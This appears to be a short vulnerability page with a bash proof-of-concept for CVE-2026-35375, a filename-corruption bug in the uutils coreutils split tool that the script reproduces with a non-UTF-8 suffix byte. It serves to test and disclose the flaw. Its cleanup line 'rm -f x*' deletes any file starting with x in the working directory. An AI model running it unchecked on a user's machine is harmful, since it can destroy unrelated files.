CVE-2026-35375 uutils coreutils文件名损坏漏洞

#!/bin/bash # PoC for CVE-2026-35375: uutils coreutils split filename corruption # This script demonstrates the filename collision issue using non-UTF-8 bytes. echo "[+] Creating dummy input file..." echo "Hello World" > input_data.txt echo "[+] Attempting to split with non-UTF-8 suffix (byte 0xFF)..." # In a vulnerable version of uutils split, this might replace 0xFF with � # potentially causing collisions if other invalid bytes map to the same replacement. # Note: Actual reproduction depends on the shell and locale settings. # Create a suffix with raw hex byte 0xFF SUFFIX=$(printf "\xff") # Run split (assuming 'split' is the uutils version) split -b 1 input_data.txt --additional-suffix="$SUFFIX" echo "[+] Listing generated files:" ls -l | grep "x" echo "[!] If filenames contain replacement characters (�) instead of raw bytes, the vulnerability is present." # Cleanup rm -f x* input_data.txt